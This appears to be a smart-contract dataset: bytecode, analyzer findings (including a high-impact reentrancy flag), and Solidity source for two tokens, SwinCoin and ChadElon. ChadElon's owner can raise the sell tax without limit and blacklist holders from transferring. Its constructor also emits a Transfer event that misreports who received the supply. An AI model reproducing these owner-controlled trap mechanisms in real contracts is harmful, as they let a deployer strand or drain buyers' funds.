0186612ddf565b612e376080830185612b56565b612e4460a083018461285e565b979650505050505050565b600081519050612e5e816127bc565b92915050565b600080600060608486031215612e7d57612e7c61274a565b5b6000612e8b86828701612e4f565b9350506020612e9c86828701612e4f565b9250506040612ead86828701612e4f565b9150509250925092565b6000604082019050612ecc6000830185612b56565b612ed9602083018461285e565b9392505050565b600081519050612eef81612ad0565b92915050565b600060208284031215612f0b57612f0a61274a565b5b6000612f1984828501612ee0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f7e602483612690565b9150612f8982612f22565b604082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613010602283612690565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a2602583612690565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613134602383612690565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c6602983612690565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613232601983612690565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b6000613273826127b2565b915061327e836127b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b3576132b2612c5b565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f4601a83612690565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b6000613335826127b2565b9150613340836127b2565b92508282101561335357613352612c5b565b5b828203905092915050565b6000613369826127b2565b9150613374836127b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133ad576133ac612c5b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f2826127b2565b91506133fd836127b2565b92508261340d5761340c6133b8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613474602183612690565b915061347f82613418565b604082019050919050565b600060208201905081810360008301526134a381613467565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613506602a83612690565b9150613511826134aa565b604082019050919050565b60006020820190508181036000830152613535816134f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357181612774565b82525050565b60006135838383613568565b60208301905092915050565b6000602082019050919050565b60006135a78261353c565b6135b18185613547565b93506135bc83613558565b8060005b838110156135ed5781516135d48882613577565b97506135df8361358f565b9250506001810190506135c0565b5085935050505092915050565b600060a08201905061360f600083018861285e565b61361c6020830187612ddf565b818103604083015261362e818661359c565b905061363d6060830185612b56565b61364a608083018461285e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368a601b83612690565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220890227780d98e4cfff7562de9811bac06c38426d83aac95bd4c84158ffa6a48564736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,618
0xb22055ad1ff0267ebd4383716c84431709dd6972
/** *Wrapped SwinCoin https://swincoin.io/ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(msg.sender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); function mint(address account, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IBEP20Metadata is IBEP20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract SwinCoin is Ownable, IBEP20, IBEP20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor() { _totalSupply = 100000000; _name = "Wrapped SwinCoin"; _symbol = "SWIN"; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 0; } /** * @dev See {IBEP20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IBEP20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IBEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IBEP20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IBEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IBEP20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BEP20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, msg.sender, currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IBEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IBEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(msg.sender, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function mint(address account, uint256 amount) public onlyOwner virtual override returns (bool) { _mint(account, amount); return true; } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610205578063a9059cbb14610218578063dd62ed3e1461022b578063f2fde38b1461027157600080fd5b806370a0823114610195578063715018a6146101cb5780638da5cb5b146101d557806395d89b41146101fd57600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461016f57806340c10f191461018257600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b610102610284565b60405161010f9190610cb6565b60405180910390f35b61012b610126366004610d52565b610316565b604051901515815260200161010f565b6003545b60405190815260200161010f565b61012b61015b366004610d7c565b61032c565b6040516000815260200161010f565b61012b61017d366004610d52565b6103fd565b61012b610190366004610d52565b610446565b61013f6101a3366004610db8565b73ffffffffffffffffffffffffffffffffffffffff1660009081526001602052604090205490565b6101d36104d5565b005b60005460405173ffffffffffffffffffffffffffffffffffffffff909116815260200161010f565b610102610564565b61012b610213366004610d52565b610573565b61012b610226366004610d52565b610631565b61013f610239366004610dda565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260026020908152604080832093909416825291909152205490565b6101d361027f366004610db8565b61063e565b60606004805461029390610e0d565b80601f01602080910402602001604051908101604052809291908181526020018280546102bf90610e0d565b801561030c5780601f106102e15761010080835404028352916020019161030c565b820191906000526020600020905b8154815290600101906020018083116102ef57829003601f168201915b5050505050905090565b6000610323338484610756565b50600192915050565b60006103398484846108d5565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054828110156103e55760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e636500000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6103f28533858403610756565b506001949350505050565b33600081815260026020908152604080832073ffffffffffffffffffffffffffffffffffffffff871684529091528120549091610323918590610441908690610e61565b610756565b60003361046860005473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff16146104cb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103dc565b6103238383610b3b565b336104f560005473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff16146105585760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103dc565b6105626000610c41565b565b60606005805461029390610e0d565b33600090815260026020908152604080832073ffffffffffffffffffffffffffffffffffffffff861684529091528120548281101561061a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084016103dc565b6106273385858403610756565b5060019392505050565b60006103233384846108d5565b3361065e60005473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff16146106c15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103dc565b73ffffffffffffffffffffffffffffffffffffffff811661074a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103dc565b61075381610c41565b50565b73ffffffffffffffffffffffffffffffffffffffff83166107de5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103dc565b73ffffffffffffffffffffffffffffffffffffffff82166108675760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103dc565b73ffffffffffffffffffffffffffffffffffffffff83811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff831661095e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103dc565b73ffffffffffffffffffffffffffffffffffffffff82166109e75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103dc565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604090205481811015610a835760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103dc565b73ffffffffffffffffffffffffffffffffffffffff808516600090815260016020526040808220858503905591851681529081208054849290610ac7908490610e61565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b2d91815260200190565b60405180910390a350505050565b73ffffffffffffffffffffffffffffffffffffffff8216610b9e5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016103dc565b8060036000828254610bb09190610e61565b909155505073ffffffffffffffffffffffffffffffffffffffff821660009081526001602052604081208054839290610bea908490610e61565b909155505060405181815273ffffffffffffffffffffffffffffffffffffffff8316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6000805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b81811015610ce357858101830151858201604001528201610cc7565b81811115610cf5576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b803573ffffffffffffffffffffffffffffffffffffffff81168114610d4d57600080fd5b919050565b60008060408385031215610d6557600080fd5b610d6e83610d29565b946020939093013593505050565b600080600060608486031215610d9157600080fd5b610d9a84610d29565b9250610da860208501610d29565b9150604084013590509250925092565b600060208284031215610dca57600080fd5b610dd382610d29565b9392505050565b60008060408385031215610ded57600080fd5b610df683610d29565b9150610e0460208401610d29565b90509250929050565b600181811c90821680610e2157607f821691505b60208210811415610e5b577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60008219821115610e9b577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b50019056fea264697066735822122048c42b1a5ffc8267df5f71bc49d976b5a804a0d0eca16141b89c7daeb2893e7d64736f6c634300080a0033
{"success": true, "error": null, "results": {}}
7,619
0xeB81C4a4D51582F2a3297E53cF24157b72b352A0
// Name: ChadElon // Symbol: CHAD // Total Supply: 1 Trillion (1000000000000) // Telegram: https://t.me/ChadElon // Website: https://chadelon.com/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ChadElon is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redis = 1; uint256 private _tax = 10; uint256 private _selltax = 25; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "ChadElon"; string private constant _symbol = "CHAD"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable _add1,address payable _add2) { _feeAddrWallet1 = _add1; _feeAddrWallet2 = _add2; _rOwned[_feeAddrWallet1] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0),owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = _redis; _feeAddr2 = _tax; if(to == uniswapV2Pair){ _feeAddr2 = _selltax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if(contractTokenBalance > _tTotal/1000){ swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 200000000000000000) { sendETHToFee(address(this).balance); } } } if( from == owner()){ _feeAddr2 = 0; _feeAddr1 = 0; } _tokenTransfer(from,to,amount); } function reduceSaleTax(uint256 _reducedTax) external onlyOwner{ _selltax = _reducedTax; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { uint256 diff = amount - amount/10; _feeAddrWallet1.transfer(amount/10); _feeAddrWallet2.transfer(diff); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function blacklistBot(address _address) external onlyOwner(){ bots[_address] = true; } function removeFromBlacklist(address notbot) external onlyOwner(){ bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
